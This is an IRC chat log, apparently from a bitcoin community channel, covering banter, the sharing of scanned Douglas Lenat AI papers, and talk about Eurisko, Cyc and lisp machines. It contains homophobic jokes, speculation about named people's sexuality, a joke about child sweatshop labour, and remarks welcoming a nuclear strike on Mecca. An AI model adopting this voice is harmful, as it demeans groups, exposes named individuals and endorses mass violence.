20:14 |
thestringpuller |
every time I see the word fancy |
20:14 |
thestringpuller |
i think of that song fancy huh |
20:14 |
thestringpuller |
by drake or whoever the fuck |
20:15 |
JuliaTourianski |
iggy asmellyyah..becuase mike dice is a creative. |
20:16 |
JuliaTourianski |
i bet the dude rocks out to katy perry in the shower. |
20:16 |
JuliaTourianski |
because estrogen in water |
20:18 |
mircea_popescu |
i wonder how long before the standard moves from "potable water" to "pristine water" |
20:19 |
mircea_popescu |
i've not drunk tap water in about a decade or so. |
20:20 |
ben_vulpes |
in this town we flush whole reservoirs when someone pees in them |
20:21 |
ben_vulpes |
and nobody's allowed in the bull run |
20:21 |
ben_vulpes |
nominally. |
20:21 |
JuliaTourianski |
avian is what the new world order drinks |
20:21 |
JuliaTourianski |
this message was sponsored by avian |
20:22 |
ben_vulpes |
agua sin gas bleh |
20:22 |
JuliaTourianski |
evian* |
20:22 |
JuliaTourianski |
heh |
20:22 |
JuliaTourianski |
do they still have water bars? |
20:23 |
peterl |
I still drink out of the hose with my kids if outside. |
20:24 |
cazalla |
JuliaTourianski, do you use one of AJ's water filters? |
20:24 |
JuliaTourianski |
don;t you worry boys, xenoestrogen & phytoestrogen will get you |
20:24 |
JuliaTourianski |
+cazalla big berke |
20:24 |
JuliaTourianski |
the dated water filter - but it looks empowering |
20:26 |
thestringpuller |
JuliaTourianski: i bet the dude rocks out to katy perry in the shower. << If you're talking about Drake, I think this is confirmed... |
20:26 |
JuliaTourianski |
+thestringpuller no mike dice |
20:26 |
BingoBoingo |
JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you << You know one of the steps involved in maturing sperm cells in the testicals involves... converting testosterone to estrogen! |
20:27 |
thestringpuller |
People also search for Alex Jones. |
20:27 |
thestringpuller |
lol |
20:27 |
JuliaTourianski |
exactly |
20:27 |
JuliaTourianski |
and when your body is overrun by fake estrogens, it hinders its ability to do so |
20:28 |
thestringpuller |
so fake estrogen == bad sperm? |
20:28 |
JuliaTourianski |
the juice boxes ARE making you gay boys. |
20:28 |
cazalla |
JuliaTourianski, you mean a popper? |
20:28 |
JuliaTourianski |
OMG where are all the homos of btc? bitcoin is homophobic. must write article for tumblr |
20:29 |
thestringpuller |
jurov is gay... |
20:29 |
peterl |
isn't Rassah gay? |
20:29 |
thestringpuller |
that too |
20:29 |
JuliaTourianski |
*waiting for someone to take low blow bait |
20:29 |
thestringpuller |
~_~ |
20:30 |
JuliaTourianski |
is rassah gay? didn;t get that vibe |
20:30 |
peterl |
thought I read that from him somewhere? |
20:30 |
ben_vulpes |
jurov, non? |
20:31 |
peterl |
I don't know him personally |
20:31 |
JuliaTourianski |
who would write about that :S |
20:31 |
peterl |
it was sort of inferred, guy talking about his husband ...? |
20:31 |
mircea_popescu |
BingoBoingo testicals are feminist testicles ? |
20:32 |
mircea_popescu |
<peterl> isn't Rassah gay? <<< i don't think as much gay as a furry creature. |
20:33 |
peterl |
same thing? |
20:33 |
BingoBoingo |
mircea_popescu: Well... Testicles was a great warrior in the Classical period... |
20:34 |
peterl |
wasn't that pericles? |
20:35 |
JuliaTourianski |
+peterl rofl |
20:35 |
mircea_popescu |
or patrocles. |
20:35 |
mircea_popescu |
who actually WAS gay |
20:36 |
peterl |
they had gay back then? |
20:36 |
JuliaTourianski |
gay was the only thing they had back then |
20:37 |
JuliaTourianski |
and goats |
20:37 |
peterl |
women not invented yet? |
20:39 |
mircea_popescu |
peterl women were the goats. |
20:39 |
mircea_popescu |
so cheezy from all the neglect you could scarcely tell the difference. |
20:40 |
mircea_popescu |
sapho lived off of herding greek gals and selling the diary. |
20:40 |
peterl |
ewww |
20:41 |
mircea_popescu |
stop playing with your food young man and eat your vaggies. |
20:41 |
peterl |
nom-nom |
20:42 |
JuliaTourianski |
i used to make cheese at home all the time. what happened to me? |
20:42 |
peterl |
I made mead at home once |
20:42 |
mircea_popescu |
you stopped being poor ? |
20:43 |
JuliaTourianski |
yes. |
20:43 |
JuliaTourianski |
https://images.duckduckgo.com/iu/?u=http%3A%2F%2F2013hoaxblog.s3.amazonaws.com%2Fhilton_poor.jpg&f=1 |
20:43 |
mircea_popescu |
lol |
20:45 |
JuliaTourianski |
omg. dying. http://www.huffingtonpost.com/2014/09/25/taylor-swift-no-its-becky_n_5883126.html?&ncid=tweetlnkushpmg00000067 |
20:45 |
assbot |
Taylor Swift Brings 'No Its Becky' Meme To Life, Wins Internet |
20:49 |
penguirker |
New blog post: http://www.thedrinkingrecord.com/2014/09/25/ncaa-football-fuck-it-week-5/ |
20:52 |
asciilifeform |
in response to years of prodding from various folks, and mircea_popescu reminding me that 'lesswrong' existed, i took an hour or so to digitize the old douglas lenat papers. now need a place to host |
20:52 |
asciilifeform |
(a bit bulky) |
20:53 |
asciilifeform |
now we can finally destroy the universe by enabling any kid to build rogue ai. |
20:53 |
asciilifeform |
or something like that. |
20:53 |
mircea_popescu |
email ill put on trilema |
| |
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20:54 |
asciilifeform |
500 Mb or so |
20:54 |
mircea_popescu |
the guy wrote 100 mn words ?! |
20:54 |
asciilifeform |
scans. |
20:54 |
asciilifeform |
djvu no less |
20:54 |
mircea_popescu |
meh such digitize |
20:55 |
mircea_popescu |
what's the largest filesize ? |
20:55 |
asciilifeform |
240M |
20:55 |
asciilifeform |
about to make w4r3z torrent... |
20:55 |
mircea_popescu |
i got the space, just, some derpy kid's idea of ai will prolly be to try and "loic" it |
20:55 |
mircea_popescu |
torrent prolly best |
21:01 |
JuliaTourianski |
do you guys have any opinions on stefan molyneux? |
21:02 |
JuliaTourianski |
srsly just curious |
21:02 |
mircea_popescu |
!s molyneux |
21:02 |
assbot |
1 results for 'molyneux' : http://search.bitcoin-assets.com/?q=molyneux |
21:02 |
mircea_popescu |
anywya, he's ok i guess. |
21:03 |
JuliaTourianski |
1 result. aw |
21:03 |
kakobrekla |
dun worry, its now 3. |
21:04 |
kakobrekla |
4 actually. :( |
21:04 |
JuliaTourianski |
heh |
21:04 |
asciilifeform |
mircea_popescu: try: http://loper-os.org/pub/lenat-leaks.tar.gz.torrent |
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21:04 |
kakobrekla |
imma leech too |
21:05 |
kakobrekla |
doesnt work - the link |
21:05 |
mircea_popescu |
sca, |
21:05 |
mircea_popescu |
scam* |
21:06 |
asciilifeform |
1sec |
21:10 |
mats_cd03 |
pricing of the nonlinear junction detector looks quite high. is there a miser's version somewhere? made in a sweatshop perhaps? |
21:10 |
asciilifeform |
let's try that link again. |
21:11 |
kakobrekla |
nop |
21:11 |
asciilifeform |
now? |
21:13 |
thestringpuller |
my life goal is to own a sweatshop |
21:13 |
thestringpuller |
fill it with indonesian children |
21:13 |
kakobrekla |
mno |
21:20 |
asciilifeform |
kakobrekla: now ? |
21:21 |
kakobrekla |
no cigar |
21:21 |
asciilifeform |
what happens ? |
21:21 |
kakobrekla |
right now i just get a network error |
21:21 |
kakobrekla |
earlier it was file not found briefly |
21:23 |
kakobrekla |
use some retarded upload service ? |
21:23 |
kakobrekla |
;;google upload file |
21:23 |
gribble |
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21:26 |
mats_cd03 |
http://www.armytimes.com/article/20140925/NEWS/309250057/-Big-Red-One-HQ-will-deploy-Iraq 1st ID to follow 1st Armored HQ dudes. |
21:26 |
assbot |
'Big Red One' HQ will deploy to Iraq | Army Times | armytimes.com |
21:27 |
mats_cd03 |
i should do a bet about green attacks before end of the year |
21:27 |
mats_cd03 |
er, green on green |
21:28 |
mats_cd03 |
and green on blue. |
21:31 |
assbot |
[MPEX] [S.MPOE] 54242 @ 0.00074753 = 40.5475 BTC [-] {2} |
21:34 |
mats_cd03 |
some days i think about whether someone will end up glassing mecca |
21:34 |
asciilifeform |
mats_cd03: i've been thinking about it ever since al schwartz recommended it in '01... |
21:34 |
mats_cd03 |
that would be a good day |
21:35 |
asciilifeform |
kakobrekla: uploading turd... |
21:35 |
thestringpuller |
was that a real thing? |
21:35 |
thestringpuller |
someone actually used the term "glassing" |
21:35 |
mircea_popescu |
http://trilema.com/2014/the-hour-of-reckoning/ asciilifeform < |
21:35 |
assbot |
The Hour Of Reckoning pe Trilema - Un blog de Mircea Popescu. |
21:35 |
kakobrekla |
the torrent file? |
21:36 |
kakobrekla |
i have set up rtorrent on some boxen with pipe |
21:36 |
mats_cd03 |
huh? |
21:36 |
mats_cd03 |
are we on the same page? nuclear detonation. |
21:36 |
asciilifeform |
wait people don't know what 'glassing' means?! |
21:36 |
asciilifeform |
mircea_popescu: neato! reading... |
21:37 |
mircea_popescu |
glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction. |
21:37 |
assbot |
[HAVELOCK] [RENT] 1400 @ 0.0075 = 10.5 BTC [+] |
21:38 |
asciilifeform |
aka 'trinitite.' |
21:39 |
mats_cd03 |
http://www.baenebooks.com/chapters/1597801348/1597801348___3.htm |
21:39 |
assbot |
- Chapter 3 |
21:40 |
mats_cd03 |
a short story. |
21:41 |
kakobrekla |
did you get the torrent up ascii? |
21:41 |
asciilifeform |
kakobrekla: actually throwing it on a server. |
21:41 |
asciilifeform |
kakobrekla: ~half done |
21:42 |
kakobrekla |
ok boss |
21:42 |
asciilifeform |
should be shat out by the time i'm done reading 'hour of reckoning' |
21:44 |
pete_dushenski |
blog incoming. turns out not every vc is a derp. |
21:44 |
decimation |
re: nonlinear junction detector << like an ohm meter? |
21:44 |
asciilifeform |
decimation: nope. |
21:44 |
asciilifeform |
decimation: more like a radar set |
21:45 |
pete_dushenski |
now: al gimnasio! |
21:45 |
decimation |
trival V-I curve at DC is easily detected |
21:45 |
asciilifeform |
decimation: if beam hits a rectifier, energy is absorbed instead of reflected or transmitted to other side of obstacle. |
21:45 |
asciilifeform |
decimation: and anything that semiconducts is rectifier. |
21:46 |
decimation |
if the signal passes through a channel that is not linear-time-invariant, one will see intermodulation products arise |
21:46 |
thestringpuller |
i think i learn more in this channel than i ever did in school |
21:47 |
decimation |
subtle nonlinearities in radio systems are regularly measured with the 'two-tone test' |
21:47 |
thestringpuller |
mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction. << this is a great definition |
21:50 |
asciilifeform |
sha256(lenat-leaks.tar.gz) == cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015 |
21:50 |
asciilifeform |
http://64.85.171.71/lenat-leaks.tar.gz |
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21:51 |
asciilifeform |
kakobrekla, mircea_popescu. |
21:51 |
xanthyos |
IT'S MY BIRTHDAY |
21:52 |
decimation |
wow ascii I'm getting 8 mbit/sec, that's serious |
21:52 |
asciilifeform |
lol |
21:52 |
asciilifeform |
please don't kill the poor bugger |
21:52 |
asciilifeform |
it's an ancient box doing crawler duty |
21:53 |
kakobrekla |
works |
21:53 |
asciilifeform |
test hash when done. |
21:54 |
decimation |
lol 'mnemus' |
21:54 |
asciilifeform |
ancient apparatus, abandoned |
21:54 |
asciilifeform |
of no consequence. |
21:54 |
asciilifeform |
shared a machine with a 'sollipse' - also abandoned, of no use. |
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21:55 |
decimation |
ascii do you 'pack-rat' information on the internet? I find I am caching more and more these days |
21:55 |
asciilifeform |
decimation: i tend to rely on my head |
21:55 |
decimation |
yeah but it's handy to 'grep' for poorly-remembered stuff |
21:55 |
asciilifeform |
decimation: this often annoys phriends who want an actual external copy of something in it... |
21:56 |
asciilifeform |
decimation: heads come with 'grep' typically |
21:56 |
mats_cd03 |
lol. |
21:56 |
penguirker |
New blog post: http://trilema.com/2014/the-hour-of-reckoning/ |
21:56 |
decimation |
that's a good point |
21:58 |
mircea_popescu |
thestringpuller> i think i learn more in this channel than i ever did in school << im sure most do. |
21:58 |
decimation |
asciilifeform: I was thinking about your piston pump today - how do you craft it with all the 'hidden' holes? In two halves? Casting? |
21:58 |
asciilifeform |
mircea_popescu: ^ w4r3z |
21:58 |
asciilifeform |
decimation: what hidden holes |
21:58 |
mircea_popescu |
<xanthyos> IT'S MY BIRTHDAY << happy bday. |
21:58 |
decimation |
I mean the chambers must be carved from the inside |
21:58 |
asciilifeform |
decimation: why? |
21:59 |
asciilifeform |
decimation: you know, 18th century happened, thread was invented. |
22:00 |
decimation |
ah so you are making tubes that screw together, not 'negative space' in the block like your link illustrated |
22:00 |
asciilifeform |
decimation: what do you think. |
22:01 |
decimation |
heh I guess it makes sense. elsewhere in the link, there are pictures of the ceramic 'screw pumps' that are supposedly of higher quality |
22:01 |
asciilifeform |
decimation: those are quite nice |
22:02 |
asciilifeform |
decimation: i can only dream of them. |
22:02 |
decimation |
I was thinking one could cast with a mold, but a home-made version of those would probably not be sufficiently precisely machined |
22:02 |
asciilifeform |
mold << nope. |
22:02 |
decimation |
you think they are cut from ceramic blank? |
22:02 |
asciilifeform |
sintered. |
22:03 |
asciilifeform |
mircea_popescu, kakobrekla: let me know when you're done l33ch1ng t3h l33t w4rez |
22:03 |
kakobrekla |
40% done here |
22:06 |
decimation |
cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015 lenat-leaks.tar.gz |
22:07 |
kakobrekla |
damn its same :( |
22:07 |
mats_cd03 |
run through ocr for the rest of us, eh? |
22:07 |
kakobrekla |
hehe |
22:07 |
asciilifeform |
no ocr. |
22:08 |
asciilifeform |
old, crappy scans (esp. the rare ones that never sat on the net before) |
22:08 |
mats_cd03 |
:( |
22:08 |
decimation |
I have ocr, but it only works on pdf |
22:08 |
asciilifeform |
and many pictures. |
22:10 |
asciilifeform |
(see 'manifest' for which) |
22:15 |
assbot |
[HAVELOCK] [AM1] 17 @ 0.14499999 = 2.465 BTC [+] {2} |
22:19 |
kakobrekla |
lol@manifest. |
22:27 |
decimation |
lol ancestor simulation |
22:29 |
decimation |
ascii hopefully we can share the hard-ai-god's gasenwagen |
22:31 |
nubbins` |
can anyone point me to a simple shell script that generates private keys from secret exponents? |
22:38 |
asciilifeform |
decimation: lol << laugh, but if these folks had balls, they'd be stereotypically dangerous loons |
22:39 |
decimation |
like 'drink the kool-aid' type or the 'bomb the city' type? |
22:39 |
asciilifeform |
both. |
22:40 |
asciilifeform |
presumably (2) then (1) |
22:40 |
decimation |
heh when turned into pdf, tripled in size |
22:42 |
asciilifeform |
decimation: and 1/10 the render speed on small cpu |
22:42 |
asciilifeform |
decimation: djvu exists for a reason |
22:42 |
decimation |
yeah :( too bad the warez only ocr pdf |
22:43 |
decimation |
my checksums all check |
22:43 |
asciilifeform |
decimation: congrats |
22:46 |
mats_cd03 |
http://news.discovery.com/space/indian-mars-mission-beams-back-first-photographs-140925.htm |
22:46 |
assbot |
Indian Mars Mission Beams Back First Photographs : Discovery News |
22:48 |
decimation |
obligatory: http://acrossdifficultcountry.blogspot.com/2009/05/far-out-space-nuts.html << "“We must also go there and say: ‘What are you people doing up here?’”" |
22:48 |
assbot |
Across Difficult Country: Far out space nuts |
22:54 |
assbot |
[MPEX] [S.MPOE] 17150 @ 0.00075094 = 12.8786 BTC [+] {2} |
23:00 |
decimation |
ascii I have bad news. The ones with "ADA" numbers have already been published on the internet by usg: http://www.dtic.mil/docs/citations/ADA096510 |
23:00 |
assbot |
RLL-1: A Representation Language Language |
23:01 |
asciilifeform |
decimation: both rll pieces ? |
23:01 |
asciilifeform |
decimation: the one with actual code is the 'supplement' |
23:03 |
asciilifeform |
lol, looks like they posted it, too |
23:03 |
decimation |
ja : http://www.dtic.mil/docs/citations/ADA096779 |
23:03 |
assbot |
RLL-1: A Representation Language Language. Supplement. Details of RLL-1 |
23:03 |
decimation |
anything with 'ada' is a 'dtic' research report |
23:03 |
asciilifeform |
perhaps because i ordered them scanned... |
23:04 |
decimation |
sometimes they are scanned, sometimes not :) |
23:04 |
asciilifeform |
(where do you think i got them) |
23:04 |
decimation |
hehe |
23:04 |
asciilifeform |
used to be, these were just catalogue #s. |
23:04 |
asciilifeform |
and might be interesting to compare the dtic-online version to mine. |
23:04 |
asciilifeform |
but - life is short. |
23:05 |
asciilifeform |
anyway, all this crud is in one convenient place now, and readable on civilized reading machines... |
23:05 |
decimation |
indeed. |
23:05 |
asciilifeform |
(e.g. 'kindle dx' with 'librerator' aftermarket firmware.) |
23:05 |
decimation |
and I think you are right, they are too shitty to ocr for the most part |
23:06 |
asciilifeform |
decimation: i tried, back in the day, was not impressed with result. |
23:06 |
asciilifeform |
ocr for code is a nonstarter anyway |
23:06 |
decimation |
some idiot intern did the scanning |
23:06 |
asciilifeform |
two scans. |
23:06 |
decimation |
or it was a copy-of-a-copy-of-a-copy |
23:06 |
asciilifeform |
one - their end |
23:06 |
asciilifeform |
they mailed - paper. |
23:07 |
asciilifeform |
another - my old lab's scanner. |
23:07 |
asciilifeform |
and the original was probably put on record as a paper report, as well. |
23:07 |
asciilifeform |
lucky that the text is readable at all. |
23:07 |
asciilifeform |
at least 3 of the documents came from another place and were public for ages. |
23:08 |
decimation |
indeed, 'markov chain in the brain' is quite powerful at correcting errors |
23:08 |
decimation |
one wonders how many other useful reports lie mouldering in some gov't bin, unscanned |
23:08 |
asciilifeform |
the real lol is that i had to write a report, quite like this one, when my contract was ending. |
23:08 |
asciilifeform |
it, too, was interred in some 'indiana jones' vault |
23:09 |
asciilifeform |
for some archaeologist to vomit over one day. |
23:09 |
decimation |
gov't pays for such 'research', most of which is pointless: http://www.sbir.gov/ |
23:09 |
assbot |
SBIR.gov |
23:09 |
asciilifeform |
yes. |
23:10 |
asciilifeform |
it feeds a gigantic class of folks, some of whom could conceivably be of some use, most go back to home country after they had enough. |
23:10 |
assbot |
[MPEX] [S.MPOE] 3511 @ 0.00075184 = 2.6397 BTC [+] |
23:11 |
decimation |
usg asks so many questions, doesn't understand the answers... |
23:11 |
asciilifeform |
there are two versions of the lenat story |
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23:12 |
asciilifeform |
one, where he's a scammer. |
23:12 |
asciilifeform |
(the facts actually favour this hypothesis. he collected $billions for 'cyc' project, never showed any useful result.) |
23:12 |
asciilifeform |
another - where he was onto something. |
23:12 |
asciilifeform |
the schoolbook telling of the 'eurisko' project - open an encyclopaedia of computing, traditionally it is mentioned as a seminal work - suggests this. |
23:13 |
asciilifeform |
he never published the source of 'eurisko'. each hypothesis provides an explanation for why. |
23:13 |
asciilifeform |
scammer: it never worked really, he won the 'traveller' tourney using his brain plus a few automated routines |
23:13 |
asciilifeform |
genius: it worked, he wanted to conquer world / get rich / etc. with it. |
23:14 |
asciilifeform |
rll-1 supplement does not settle the 'scammer or genius' question, perhaps surprisingly. |
23:14 |
asciilifeform |
even leaves open the interpretations 'genius scammer' or 'scamming genius.' |
23:15 |
asciilifeform |
;;google douglas lenat |
23:15 |
gribble |
Douglas Lenat - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Douglas_Lenat>; Cyc - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Cyc>; Cycorp | Home of smarter solutions: <http://www.cyc.com/> |
23:15 |
asciilifeform |
draw own conclusions. |
23:15 |
asciilifeform |
until the real 'lenat leak' perhaps one day. |
23:16 |
decimation |
the '3d vlsi design' part is interesting |
23:16 |
asciilifeform |
same as the traveler thing |
23:16 |
asciilifeform |
we don't know if it was eurisko or just doug l. and a lisp prompt. |
23:16 |
asciilifeform |
no way to learn the truth short of wiring him to the mains. |
23:16 |
asciilifeform |
(or replicating result...) |
23:18 |
decimation |
seems like if the stuff were useful, he would have out googled google before google googled. |
23:18 |
asciilifeform |
decimation: nope. resources of the time. |
23:19 |
decimation |
right, of the time, but he had the access to the same computers google did |
23:19 |
asciilifeform |
decimation: precious little horsepower (esp. for a serious lisp system); precious little network to speak of; etc |
23:19 |
asciilifeform |
by the time these things changed - he was fully occupied in operating an obvious chumpatron |
23:20 |
asciilifeform |
go and 'dismount the tiger without being eaten' |
23:20 |
decimation |
the 'cyc' stuff, yeah that seems dumb |
23:20 |
asciilifeform |
afaik he remains there. |
23:21 |
asciilifeform |
'cyc' is a real laugh. they have a crippled 'open' version; in java, if i recall! |
23:21 |
asciilifeform |
does - nothing. |
23:21 |
penguirker |
New blog post: http://thewhet.net/2014/if-at-first-you-dont-succeed-scoop-it-into-the-garbage-and-ask-how-many-cups-of-stupid-you-threw-in-there/ |
23:21 |
asciilifeform |
was always a laugh. |
23:21 |
asciilifeform |
but cyc is not eurisko. |
23:21 |
asciilifeform |
whether eurisko existed - and in what form - is the real question. |
23:22 |
decimation |
it is interesting how this eurisko thing, the really useful symbolics stuff, early MIT lisp stuff -- much of it has simply disappeared |
23:22 |
decimation |
one would think that someone would have made a few backups, but then again shit happens I guess |
23:23 |
asciilifeform |
http://bitsavers.informatik.uni-stuttgart.de has some good stuff |
23:23 |
assbot |
bitsavers.org |
23:23 |
asciilifeform |
and brad parker has more |
23:23 |
asciilifeform |
(re: mit, lmi, symbolics) |
23:23 |
asciilifeform |
people made backups. on tape. someone actually paid to have many of the tapes recovered. |
23:23 |
asciilifeform |
and mit rubber-stamped the bsd license release of the original cadr stuff, once priced at $maxint |
23:24 |
asciilifeform |
(symbolics, lmi, ti - paid vast sums to license 'cadr') |
23:24 |
decimation |
yeah it created two spinoffs |
23:24 |
asciilifeform |
three. |
23:24 |
* |
asciilifeform can tell that decimation read richard stallman's version |
23:24 |
decimation |
heh yeah I did |
23:24 |
asciilifeform |
for some reason he omits ti |
23:24 |
asciilifeform |
why? ask him, not me |
23:26 |
decimation |
oh yeah I forgot about ti |
23:27 |
decimation |
also apple had a lisp machine later on right |
23:27 |
decimation |
was that based on ivory chip? |
23:28 |
decimation |
No I'm thinking of maclisp, which is unrelated to apple I guess |
23:34 |
cazalla |
anyone heard of http://breakoutgaming.com/ before? apparently johnny chan is gonna be the face of it and they'll have bitcoin deposit/withdrawals |
23:34 |
assbot |
Breakout Gaming |
23:36 |
cazalla |
http://venturebeat.com/2014/09/16/breakout-gaming-announces-new-coin-and-gaming-destination/ |
23:36 |
assbot |
Breakout Gaming Announces New Coin and Gaming Destination | VentureBeat | Business | by Business Wire |
23:36 |
cazalla |
"An in-house, web based, exchange seamlessly converts Bitcoin (BTC) to Breakout Coin (BRO) with a cold storage solution to protect the currency, avoiding the opportunity for hackers to enter the servers. Breakout Gamings site will feature 88 different casino games including the popular Texas Hold Em, Open Face Chinese Poker, in addition to a custom built Fantasy Sports betting platform. " more shit coins for your bitcoin |
23:42 |
decimation |
everyone wants some seigniorage |
23:47 |
assbot |
[MPEX] [S.MPOE] 3042 @ 0.00075184 = 2.2871 BTC [+] |
23:48 |
assbot |
[MPEX] [S.MPOE] 27200 @ 0.0007531 = 20.4843 BTC [+] {2} |
23:49 |
mircea_popescu |
cazalla as a rule of thumb, if grep "will" > devnull |
23:49 |
mircea_popescu |
obviously paid piece, how else would a journalist know what "will" happen |
23:50 |
mircea_popescu |
this is the equivalent of the "if newspiece title ask a question, the response is no". |
23:59 |
cazalla |
maybe they'll peg their altcoin to usd so that even if you win, you lose bitcoins |